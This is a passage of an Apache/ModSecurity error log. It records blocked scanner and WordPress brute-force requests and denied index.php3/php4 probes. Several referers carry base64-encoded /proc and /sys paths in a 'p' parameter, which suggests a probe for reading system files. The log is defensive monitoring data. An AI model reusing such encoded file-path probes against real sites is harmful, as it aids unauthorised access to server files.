18:15:12.596686 2026] [security2:error] [pid 646876:tid 646901] [remote 17.241.75.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ykNyTkdrNlD40tSGddwAAWBY"] [Sat Jun 13 18:15:12.694690 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.29:40945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:12.694993 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.29:40945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:12.730013 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.242.16:39930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:12.730368 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.242.16:39930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:12.925633 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:12.926088 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:12.939269 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.36:30058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:12.939736 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.36:30058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:12.966629 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.105:60002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:12.967105 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.105:60002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:12.999115 2026] [access_compat:error] [pid 648189:tid 648350] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:12.999581 2026] [access_compat:error] [pid 648189:tid 648350] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:13.338968 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.103:62432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:13.339423 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.103:62432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:13.447698 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:13.447961 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:13.527004 2026] [security2:error] [pid 646876:tid 646975] [remote 17.241.227.134:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ykdyTkdrNlD40tSGdlAAAV2A"] [Sat Jun 13 18:15:13.688100 2026] [security2:error] [pid 648189:tid 648348] [remote 17.246.23.179:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ykVWSojQL4F7upKBTXgAA8X0"] [Sat Jun 13 18:15:13.821180 2026] [security2:error] [pid 648189:tid 648336] [remote 118.233.90.178:52222] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.90.233.118.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "corinthe-rizvi.com"] [uri "/xmlrpc.php"] [unique_id "ai3ykVWSojQL4F7upKBTXwAA63E"] [Sat Jun 13 18:15:13.821374 2026] [security2:error] [pid 648189:tid 648461] [client 118.233.90.178:52222] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "corinthe-rizvi.com"] [uri "/xmlrpc.php"] [unique_id "ai3ykVWSojQL4F7upKBTXwAA63E"] [Sat Jun 13 18:15:13.909645 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.19:24090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:13.910001 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.19:24090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:13.956001 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9wb3dlcg== [Sat Jun 13 18:15:13.956471 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9wb3dlcg== [Sat Jun 13 18:15:14.105445 2026] [security2:error] [pid 646876:tid 646892] [remote 17.246.15.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yktyTkdrNlD40tSGdpwAATQ0"] [Sat Jun 13 18:15:14.214782 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.86:32922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:14.215215 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.86:32922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:14.452136 2026] [security2:error] [pid 648189:tid 648341] [remote 17.22.245.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yklWSojQL4F7upKBTbQAA2nY"] [Sat Jun 13 18:15:14.471116 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:15:14.471405 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:15:14.609830 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.110:26246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:14.610100 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.110:26246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:14.788737 2026] [security2:error] [pid 646876:tid 646963] [remote 17.22.253.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yktyTkdrNlD40tSGdvgAAc1Q"] [Sat Jun 13 18:15:14.828077 2026] [security2:error] [pid 648189:tid 648334] [remote 57.141.14.102:41739] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yklWSojQL4F7upKBTcAAA2G8"], referer: https://nelsonfarmstn.com/product/purely-patchouli/?add_to_wishlist=3111&_wpnonce=dacad5c21f&add-to-cart=3111 [Sat Jun 13 18:15:14.905526 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.9:58090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:14.906025 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.9:58090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:14.984796 2026] [security2:error] [pid 646876:tid 646940] [remote 37.27.234.213:60988] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "transparentyouth.com"] [uri "/wp-login.php"] [unique_id "ai3yktyTkdrNlD40tSGdxgAAaT0"] [Sat Jun 13 18:15:15.009047 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:15:15.009494 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:15:15.167823 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.90:46274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:15.168356 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.90:46274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:15.185945 2026] [core:error] [pid 646876:tid 647078] [client 47.79.207.191:57254] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:15:15.185972 2026] [core:error] [pid 646876:tid 647078] [client 47.79.207.191:57254] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:15:15.552491 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:15.555038 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:15.573522 2026] [security2:error] [pid 646876:tid 646919] [remote 103.143.207.18:56066] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.207.143.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "novapathfwf.com"] [uri "/wp-login.php"] [unique_id "ai3yk9yTkdrNlD40tSGd3QAAeSg"] [Sat Jun 13 18:15:15.592461 2026] [security2:error] [pid 646876:tid 646936] [remote 17.22.253.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yk9yTkdrNlD40tSGd3wAAKzk"] [Sat Jun 13 18:15:15.628442 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.48:44247] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:15.628913 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.48:44247] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:15.638622 2026] [security2:error] [pid 646876:tid 646968] [remote 37.27.234.213:60988] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "transparentyouth.com"] [uri "/wp-login.php"] [unique_id "ai3yk9yTkdrNlD40tSGd4QAAYVk"], referer: https://transparentyouth.com/wp-login.php [Sat Jun 13 18:15:15.665396 2026] [security2:error] [pid 646876:tid 646887] [remote 17.22.245.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yk9yTkdrNlD40tSGd5gAALwg"] [Sat Jun 13 18:15:16.084139 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjFkL3Bvd2Vy [Sat Jun 13 18:15:16.084593 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 